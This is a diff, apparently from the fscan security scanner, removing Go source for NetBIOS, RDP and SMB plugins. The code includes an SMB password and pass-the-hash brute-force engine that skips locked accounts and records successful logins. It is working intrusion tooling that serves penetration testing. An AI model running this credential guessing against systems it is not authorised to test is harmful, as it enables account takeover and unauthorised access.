// 创建适配器,使用NetBIOS函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.NetBIOS, options)
|
||||
}
|
||||
|
||||
// init 自动注册NetBIOS插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "netbios",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "NetBIOS信息收集和主机名解析",
|
||||
Category: "service",
|
||||
Ports: []int{137, 139},
|
||||
Protocols: []string{"tcp", "udp"},
|
||||
Tags: []string{"netbios", "information-gathering", "hostname"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewNetBiosPlugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("netbios", factory)
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package rdp
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewRdpPlugin 创建RDP弱密码检测插件
|
||||
func NewRdpPlugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "rdp",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "RDP远程桌面服务弱密码检测",
|
||||
Category: "service",
|
||||
Ports: []int{3389}, // RDP端口
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"rdp", "remote-desktop", "weak-password", "service", "brute-force"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: true, // RDP依赖暴力破解标志
|
||||
IsVulnPlugin: false, // 这是服务检测插件,不是漏洞检测
|
||||
IsInfoPlugin: false, // 主要是弱密码检测
|
||||
CustomPorts: []int{3389}, // RDP端口
|
||||
}
|
||||
|
||||
// 创建适配器,直接使用老版本的RdpScan函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.RdpScan, options)
|
||||
}
|
||||
|
||||
// init 自动注册RDP插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "rdp",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "RDP远程桌面服务弱密码检测",
|
||||
Category: "service",
|
||||
Ports: []int{3389},
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"rdp", "remote-desktop", "weak-password", "service", "brute-force"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewRdpPlugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("rdp", factory)
|
||||
}
|
@ -1,106 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// DefaultCredentialManager 默认凭据管理器实现
|
||||
type DefaultCredentialManager struct {
|
||||
credentials []Credential
|
||||
lockedUsers map[string]bool
|
||||
mutex sync.RWMutex
|
||||
}
|
||||
|
||||
// NewPasswordCredentialManager 创建密码认证凭据管理器
|
||||
func NewPasswordCredentialManager() *DefaultCredentialManager {
|
||||
mgr := &DefaultCredentialManager{
|
||||
lockedUsers: make(map[string]bool),
|
||||
}
|
||||
mgr.generatePasswordCredentials()
|
||||
return mgr
|
||||
}
|
||||
|
||||
// NewHashCredentialManager 创建哈希认证凭据管理器
|
||||
func NewHashCredentialManager() *DefaultCredentialManager {
|
||||
mgr := &DefaultCredentialManager{
|
||||
lockedUsers: make(map[string]bool),
|
||||
}
|
||||
mgr.generateHashCredentials()
|
||||
return mgr
|
||||
}
|
||||
|
||||
// generatePasswordCredentials 生成密码凭据列表
|
||||
func (m *DefaultCredentialManager) generatePasswordCredentials() {
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, pass := range common.Passwords {
|
||||
actualPass := strings.ReplaceAll(pass, "{user}", user)
|
||||
m.credentials = append(m.credentials, Credential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
Hash: []byte{},
|
||||
IsHash: false,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// generateHashCredentials 生成哈希凭据列表
|
||||
func (m *DefaultCredentialManager) generateHashCredentials() {
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, hash := range common.HashBytes {
|
||||
m.credentials = append(m.credentials, Credential{
|
||||
Username: user,
|
||||
Password: "",
|
||||
Hash: hash,
|
||||
IsHash: true,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// GenerateCredentials 获取所有凭据
|
||||
func (m *DefaultCredentialManager) GenerateCredentials() []Credential {
|
||||
m.mutex.RLock()
|
||||
defer m.mutex.RUnlock()
|
||||
|
||||
result := make([]Credential, len(m.credentials))
|
||||
copy(result, m.credentials)
|
||||
return result
|
||||
}
|
||||
|
||||
// HandleAuthFailure 处理认证失败
|
||||
func (m *DefaultCredentialManager) HandleAuthFailure(username string, err error) {
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
isLocked := strings.Contains(errMsg, "locked") ||
|
||||
strings.Contains(errMsg, "account has been automatically locked") ||
|
||||
strings.Contains(errMsg, "user account has been automatically locked")
|
||||
|
||||
if isLocked {
|
||||
m.mutex.Lock()
|
||||
m.lockedUsers[username] = true
|
||||
m.mutex.Unlock()
|
||||
|
||||
common.LogError("用户 " + username + " 已被锁定")
|
||||
}
|
||||
}
|
||||
|
||||
// IsUserLocked 检查用户是否被锁定
|
||||
func (m *DefaultCredentialManager) IsUserLocked(username string) bool {
|
||||
m.mutex.RLock()
|
||||
defer m.mutex.RUnlock()
|
||||
return m.lockedUsers[username]
|
||||
}
|
||||
|
||||
// GetCredentialCount 获取凭据总数
|
||||
func (m *DefaultCredentialManager) GetCredentialCount() int {
|
||||
m.mutex.RLock()
|
||||
defer m.mutex.RUnlock()
|
||||
return len(m.credentials)
|
||||
}
|
@ -1,102 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// 定义常见的SMB错误类型
|
||||
var (
|
||||
ErrAuthFailed = errors.New("认证失败")
|
||||
ErrAccountLocked = errors.New("账户锁定")
|
||||
ErrAccessDenied = errors.New("拒绝访问")
|
||||
ErrAccountDisabled = errors.New("账户禁用")
|
||||
ErrPasswordExpired = errors.New("密码过期")
|
||||
ErrConnectionFailed = errors.New("连接失败")
|
||||
ErrTimeout = errors.New("连接超时")
|
||||
ErrSessionDeleted = errors.New("会话断开")
|
||||
)
|
||||
|
||||
// ClassifySmbError 对SMB错误进行分类和标准化
|
||||
func ClassifySmbError(err error) error {
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 清理错误信息中的换行符和多余空格
|
||||
errMsg := strings.TrimSpace(strings.ReplaceAll(err.Error(), "\n", " "))
|
||||
errMsgLower := strings.ToLower(errMsg)
|
||||
|
||||
// SMB1特定错误处理
|
||||
if strings.Contains(errMsg, "NT Status Error") {
|
||||
switch {
|
||||
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
|
||||
return ErrAuthFailed
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
|
||||
return ErrAccountLocked
|
||||
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
|
||||
return ErrAccessDenied
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
|
||||
return ErrAccountDisabled
|
||||
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
|
||||
return ErrPasswordExpired
|
||||
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
|
||||
return ErrSessionDeleted
|
||||
default:
|
||||
return ErrAuthFailed
|
||||
}
|
||||
}
|
||||
|
||||
// SMB2特定错误处理
|
||||
switch {
|
||||
case strings.Contains(errMsgLower, "account has been automatically locked") ||
|
||||
strings.Contains(errMsgLower, "account has been locked") ||
|
||||
strings.Contains(errMsgLower, "user account has been automatically locked"):
|
||||
return ErrAccountLocked
|
||||
|
||||
case strings.Contains(errMsgLower, "access denied") ||
|
||||
strings.Contains(errMsgLower, "access is denied"):
|
||||
return ErrAccessDenied
|
||||
|
||||
case strings.Contains(errMsgLower, "account disabled") ||
|
||||
strings.Contains(errMsgLower, "account is disabled"):
|
||||
return ErrAccountDisabled
|
||||
|
||||
case strings.Contains(errMsgLower, "password expired") ||
|
||||
strings.Contains(errMsgLower, "password has expired"):
|
||||
return ErrPasswordExpired
|
||||
|
||||
case strings.Contains(errMsgLower, "connection refused") ||
|
||||
strings.Contains(errMsgLower, "connection failed") ||
|
||||
strings.Contains(errMsgLower, "no connection could be made"):
|
||||
return ErrConnectionFailed
|
||||
|
||||
case strings.Contains(errMsgLower, "timeout") ||
|
||||
strings.Contains(errMsgLower, "timed out"):
|
||||
return ErrTimeout
|
||||
|
||||
case strings.Contains(errMsgLower, "session") && strings.Contains(errMsgLower, "deleted"):
|
||||
return ErrSessionDeleted
|
||||
|
||||
case strings.Contains(errMsgLower, "logon failure") ||
|
||||
strings.Contains(errMsgLower, "authentication failed") ||
|
||||
strings.Contains(errMsgLower, "login failed"):
|
||||
return ErrAuthFailed
|
||||
}
|
||||
|
||||
// 默认返回原始错误
|
||||
return err
|
||||
}
|
||||
|
||||
// IsAccountLockError 判断是否为账户锁定错误
|
||||
func IsAccountLockError(err error) bool {
|
||||
return errors.Is(err, ErrAccountLocked) ||
|
||||
strings.Contains(strings.ToLower(err.Error()), "locked")
|
||||
}
|
||||
|
||||
// IsFatalError 判断是否为致命错误(应该停止尝试该用户)
|
||||
func IsFatalError(err error) bool {
|
||||
return errors.Is(err, ErrAccountLocked) ||
|
||||
errors.Is(err, ErrAccountDisabled) ||
|
||||
errors.Is(err, ErrPasswordExpired)
|
||||
}
|
@ -1,78 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TargetInfo SMB目标信息
|
||||
type TargetInfo struct {
|
||||
Host string
|
||||
Port int
|
||||
Domain string
|
||||
}
|
||||
|
||||
// Credential SMB认证凭据
|
||||
type Credential struct {
|
||||
Username string
|
||||
Password string
|
||||
Hash []byte
|
||||
IsHash bool
|
||||
}
|
||||
|
||||
// ConnectionResult 连接结果
|
||||
type ConnectionResult struct {
|
||||
Success bool
|
||||
Shares []string
|
||||
HasAdminAccess bool
|
||||
Error error
|
||||
}
|
||||
|
||||
// ScanConfig 扫描配置
|
||||
type ScanConfig struct {
|
||||
MaxConcurrent int
|
||||
Timeout time.Duration
|
||||
GlobalTimeout time.Duration
|
||||
}
|
||||
|
||||
// SmbConnector SMB连接器接口
|
||||
type SmbConnector interface {
|
||||
// Connect 建立SMB连接并进行认证
|
||||
Connect(ctx context.Context, target *TargetInfo, cred *Credential) (*ConnectionResult, error)
|
||||
|
||||
// GetProtocolName 获取协议名称
|
||||
GetProtocolName() string
|
||||
|
||||
// GetDefaultPort 获取默认端口
|
||||
GetDefaultPort() int
|
||||
}
|
||||
|
||||
// CredentialManager 凭据管理器接口
|
||||
type CredentialManager interface {
|
||||
// GenerateCredentials 生成认证凭据列表
|
||||
GenerateCredentials() []Credential
|
||||
|
||||
// HandleAuthFailure 处理认证失败
|
||||
HandleAuthFailure(username string, err error)
|
||||
|
||||
// IsUserLocked 检查用户是否被锁定
|
||||
IsUserLocked(username string) bool
|
||||
|
||||
// GetCredentialCount 获取凭据总数
|
||||
GetCredentialCount() int
|
||||
}
|
||||
|
||||
// ScanResult 扫描结果
|
||||
type ScanResult struct {
|
||||
Success bool
|
||||
Credential Credential
|
||||
Shares []string
|
||||
Error error
|
||||
}
|
||||
|
||||
// Scanner 并发扫描器接口
|
||||
type Scanner interface {
|
||||
// Scan 执行并发扫描
|
||||
Scan(ctx context.Context, target *TargetInfo, connector SmbConnector,
|
||||
credMgr CredentialManager, config *ScanConfig) (*ScanResult, error)
|
||||
}
|
@ -1,198 +0,0 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// DefaultScanner 默认并发扫描器实现
|
||||
type DefaultScanner struct{}
|
||||
|
||||
// NewScanner 创建新的扫描器
|
||||
func NewScanner() *DefaultScanner {
|
||||
return &DefaultScanner{}
|
||||
}
|
||||
|
||||
// Scan 执行并发扫描
|
||||
func (s *DefaultScanner) Scan(ctx context.Context, target *TargetInfo,
|
||||
connector SmbConnector, credMgr CredentialManager, config *ScanConfig) (*ScanResult, error) {
|
||||
|
||||
credentials := credMgr.GenerateCredentials()
|
||||
if len(credentials) == 0 {
|
||||
return nil, fmt.Errorf("没有可用的认证凭据")
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("开始%s扫描 %s:%d (总用户数: %d, 总组合数: %d)",
|
||||
connector.GetProtocolName(), target.Host, target.Port,
|
||||
len(common.Userdict["smb"]), len(credentials)))
|
||||
|
||||
// 确定并发数
|
||||
maxConcurrent := config.MaxConcurrent
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *ScanResult, 1)
|
||||
workChan := make(chan Credential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for cred := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
// 检查用户是否已锁定
|
||||
if credMgr.IsUserLocked(cred.Username) {
|
||||
common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", cred.Username))
|
||||
continue
|
||||
}
|
||||
|
||||
// 尝试连接
|
||||
result := s.tryCredential(scanCtx, target, connector, cred, config.Timeout)
|
||||
|
||||
// 处理认证失败
|
||||
if !result.Success && result.Error != nil {
|
||||
credMgr.HandleAuthFailure(cred.Username, result.Error)
|
||||
}
|
||||
|
||||
// 如果成功,发送结果并取消其他工作
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel()
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
defer close(workChan)
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
// 跳过已锁定用户
|
||||
if credMgr.IsUserLocked(cred.Username) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 记录尝试日志
|
||||
s.logAttempt(connector.GetProtocolName(), i+1, len(credentials), cred)
|
||||
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result, nil
|
||||
}
|
||||
return nil, nil
|
||||
case <-ctx.Done():
|
||||
common.LogDebug(fmt.Sprintf("%s扫描全局超时", connector.GetProtocolName()))
|
||||
scanCancel()
|
||||
return nil, fmt.Errorf("全局超时")
|
||||
}
|
||||
}
|
||||
|
||||
// tryCredential 尝试单个凭据
|
||||
func (s *DefaultScanner) tryCredential(ctx context.Context, target *TargetInfo,
|
||||
connector SmbConnector, cred Credential, timeout time.Duration) *ScanResult {
|
||||
|
||||
// 创建连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, timeout)
|
||||
defer cancel()
|
||||
|
||||
// 在协程中尝试连接
|
||||
resultChan := make(chan *ConnectionResult, 1)
|
||||
go func() {
|
||||
result, err := connector.Connect(connCtx, target, &cred)
|
||||
if err != nil {
|
||||
result = &ConnectionResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- result:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
if result.Success {
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Credential: cred,
|
||||
Shares: result.Shares,
|
||||
}
|
||||
}
|
||||
|
||||
// 分类错误
|
||||
classifiedError := ClassifySmbError(result.Error)
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Error: classifiedError,
|
||||
Credential: cred,
|
||||
Shares: result.Shares,
|
||||
}
|
||||
|
||||
case <-connCtx.Done():
|
||||
var err error
|
||||
if ctx.Err() != nil {
|
||||
err = ctx.Err() // 全局超时
|
||||
} else {
|
||||
err = ErrTimeout // 连接超时
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
Credential: cred,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// logAttempt 记录尝试日志
|
||||
func (s *DefaultScanner) logAttempt(protocol string, current, total int, cred Credential) {
|
||||
if cred.IsHash {
|
||||
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试%s: %s Hash:%s",
|
||||
current, total, protocol, cred.Username, common.HashValue))
|
||||
} else {
|
||||
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试%s: %s:%s",
|
||||
current, total, protocol, cred.Username, cred.Password))
|
||||
}
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package smb
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewSmbPlugin 创建SMB弱密码检测插件
|
||||
func NewSmbPlugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "smb",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "SMB服务弱密码检测和共享枚举",
|
||||
Category: "service",
|
||||
Ports: []int{445, 139}, // SMB端口
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb", "weak-password", "service", "brute-force"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: true, // SMB依赖暴力破解标志
|
||||
IsVulnPlugin: false, // 这是服务检测插件,不是漏洞检测
|
||||
IsInfoPlugin: true, // 包含信息收集功能
|
||||
CustomPorts: []int{445, 139}, // SMB端口
|
||||
}
|
||||
|
||||
// 创建适配器,直接使用老版本的SmbScan函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.SmbScan, options)
|
||||
}
|
||||
|
||||
// init 自动注册SMB插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "smb",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "SMB服务弱密码检测和共享枚举",
|
||||
Category: "service",
|
||||
Ports: []int{445, 139},
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb", "weak-password", "service", "brute-force"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewSmbPlugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("smb", factory)
|
||||
}
|
@ -1,93 +0,0 @@
|
||||
package smb
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/plugins/legacy/smb/common"
|
||||
"github.com/shadow1ng/fscan/plugins/legacy/smb/smb1"
|
||||
fscanCommon "github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
)
|
||||
|
||||
// SmbScan 执行SMB1服务的认证扫描(重构版本)
|
||||
func SmbScan(info *fscanCommon.HostInfo) error {
|
||||
if fscanCommon.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 创建目标信息
|
||||
target := &common.TargetInfo{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
Domain: fscanCommon.Domain,
|
||||
}
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(),
|
||||
time.Duration(fscanCommon.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 创建连接器、凭据管理器和扫描器
|
||||
connector := smb1.NewSmb1Connector()
|
||||
credMgr := common.NewPasswordCredentialManager()
|
||||
scanner := common.NewScanner()
|
||||
|
||||
// 配置扫描参数
|
||||
config := &common.ScanConfig{
|
||||
MaxConcurrent: fscanCommon.ModuleThreadNum,
|
||||
Timeout: time.Duration(fscanCommon.Timeout) * time.Second,
|
||||
GlobalTimeout: time.Duration(fscanCommon.GlobalTimeout) * time.Second,
|
||||
}
|
||||
|
||||
// 执行扫描
|
||||
result, err := scanner.Scan(ctx, target, connector, credMgr, config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 处理扫描结果
|
||||
if result != nil && result.Success {
|
||||
saveSmbResult(info, result.Credential)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// saveSmbResult 保存SMB扫描结果
|
||||
func saveSmbResult(info *fscanCommon.HostInfo, cred common.Credential) {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 构建结果消息
|
||||
var successMsg string
|
||||
details := map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb",
|
||||
"username": cred.Username,
|
||||
"password": cred.Password,
|
||||
"type": "weak-password",
|
||||
}
|
||||
|
||||
if fscanCommon.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s",
|
||||
target, fscanCommon.Domain, cred.Username, cred.Password)
|
||||
details["domain"] = fscanCommon.Domain
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s",
|
||||
target, cred.Username, cred.Password)
|
||||
}
|
||||
|
||||
// 记录成功日志
|
||||
fscanCommon.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
fscanCommon.SaveResult(result)
|
||||
}
|
@ -1,86 +0,0 @@
|
||||
package smb1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/shadow1ng/fscan/plugins/legacy/smb/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
)
|
||||
|
||||
// Smb1Connector SMB1连接器实现
|
||||
type Smb1Connector struct{}
|
||||
|
||||
// NewSmb1Connector 创建SMB1连接器
|
||||
func NewSmb1Connector() *Smb1Connector {
|
||||
return &Smb1Connector{}
|
||||
}
|
||||
|
||||
// Connect 建立SMB1连接并进行认证
|
||||
func (c *Smb1Connector) Connect(ctx context.Context, target *common.TargetInfo,
|
||||
cred *common.Credential) (*common.ConnectionResult, error) {
|
||||
|
||||
// SMB1不支持哈希认证
|
||||
if cred.IsHash {
|
||||
return nil, fmt.Errorf("SMB1不支持哈希认证")
|
||||
}
|
||||
|
||||
// 创建信号通道用于与原有代码兼容
|
||||
signal := make(chan struct{}, 1)
|
||||
|
||||
// 调用原有的SMB连接函数
|
||||
success, err := c.smbConnect(target.Host, target.Port, target.Domain,
|
||||
cred.Username, cred.Password, signal)
|
||||
|
||||
result := &common.ConnectionResult{
|
||||
Success: success,
|
||||
Error: err,
|
||||
}
|
||||
|
||||
// SMB1暂时不获取共享列表,保持原有行为
|
||||
if success {
|
||||
result.Shares = []string{}
|
||||
result.HasAdminAccess = true // SMB1连接成功通常意味着有访问权限
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetProtocolName 获取协议名称
|
||||
func (c *Smb1Connector) GetProtocolName() string {
|
||||
return "SMB"
|
||||
}
|
||||
|
||||
// GetDefaultPort 获取默认端口
|
||||
func (c *Smb1Connector) GetDefaultPort() int {
|
||||
return 445
|
||||
}
|
||||
|
||||
// smbConnect 原有的SMB连接实现(改进版本)
|
||||
func (c *Smb1Connector) smbConnect(host string, port int, domain, user, pass string,
|
||||
signal chan struct{}) (bool, error) {
|
||||
|
||||
options := smb.Options{
|
||||
Host: host,
|
||||
Port: port,
|
||||
User: user,
|
||||
Password: pass,
|
||||
Domain: domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
if session.IsAuthenticated {
|
||||
return true, nil
|
||||
}
|
||||
return false, common.ErrAuthFailed
|
||||
}
|
||||
|
||||
// 分类和处理错误
|
||||
classifiedError := common.ClassifySmbError(err)
|
||||
|
||||
signal <- struct{}{}
|
||||
return false, classifiedError
|
||||
}
|
@ -1,158 +0,0 @@
|
||||
package smb
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/plugins/legacy/smb/common"
|
||||
"github.com/shadow1ng/fscan/plugins/legacy/smb/smb2"
|
||||
fscanCommon "github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
)
|
||||
|
||||
// SmbScan2 执行SMB2服务的认证扫描(重构版本)
|
||||
func SmbScan2(info *fscanCommon.HostInfo) error {
|
||||
if fscanCommon.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 创建目标信息
|
||||
target := &common.TargetInfo{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
Domain: fscanCommon.Domain,
|
||||
}
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(),
|
||||
time.Duration(fscanCommon.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 根据是否提供哈希选择认证模式
|
||||
var credMgr common.CredentialManager
|
||||
if len(fscanCommon.HashBytes) > 0 {
|
||||
credMgr = common.NewHashCredentialManager()
|
||||
fscanCommon.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d)",
|
||||
len(fscanCommon.Userdict["smb"]), len(fscanCommon.HashBytes)))
|
||||
} else {
|
||||
credMgr = common.NewPasswordCredentialManager()
|
||||
fscanCommon.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d)",
|
||||
len(fscanCommon.Userdict["smb"]), len(fscanCommon.Passwords)))
|
||||
}
|
||||
|
||||
// 创建连接器和扫描器
|
||||
connector := smb2.NewSmb2Connector()
|
||||
scanner := common.NewScanner()
|
||||
|
||||
// 配置扫描参数
|
||||
config := &common.ScanConfig{
|
||||
MaxConcurrent: fscanCommon.ModuleThreadNum,
|
||||
Timeout: time.Duration(fscanCommon.Timeout) * time.Second,
|
||||
GlobalTimeout: time.Duration(fscanCommon.GlobalTimeout) * time.Second,
|
||||
}
|
||||
|
||||
// 执行扫描
|
||||
result, err := scanner.Scan(ctx, target, connector, credMgr, config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 处理扫描结果
|
||||
if result != nil && result.Success {
|
||||
logSuccessfulAuth(info, result.Credential, result.Shares)
|
||||
if len(result.Shares) > 0 {
|
||||
logShareInfo(info, result.Credential, result.Shares)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// logSuccessfulAuth 记录成功的认证
|
||||
func logSuccessfulAuth(info *fscanCommon.HostInfo, cred common.Credential, shares []string) {
|
||||
credential := cred.Password
|
||||
if cred.IsHash && len(cred.Hash) > 0 {
|
||||
credential = fscanCommon.HashValue
|
||||
}
|
||||
|
||||
// 保存认证成功结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: info.Host,
|
||||
Status: "success",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb2",
|
||||
"username": cred.Username,
|
||||
"domain": fscanCommon.Domain,
|
||||
"type": "weak-auth",
|
||||
"credential": credential,
|
||||
"auth_type": map[bool]string{true: "hash", false: "password"}[cred.IsHash],
|
||||
"shares": shares,
|
||||
},
|
||||
}
|
||||
fscanCommon.SaveResult(result)
|
||||
|
||||
// 控制台输出
|
||||
var msg string
|
||||
if fscanCommon.Domain != "" {
|
||||
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s",
|
||||
info.Host, info.Ports, fscanCommon.Domain, cred.Username)
|
||||
} else {
|
||||
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s",
|
||||
info.Host, info.Ports, cred.Username)
|
||||
}
|
||||
|
||||
if cred.IsHash && len(cred.Hash) > 0 {
|
||||
msg += fmt.Sprintf(" Hash:%s", fscanCommon.HashValue)
|
||||
} else {
|
||||
msg += fmt.Sprintf(" Pass:%s", cred.Password)
|
||||
}
|
||||
fscanCommon.LogSuccess(msg)
|
||||
}
|
||||
|
||||
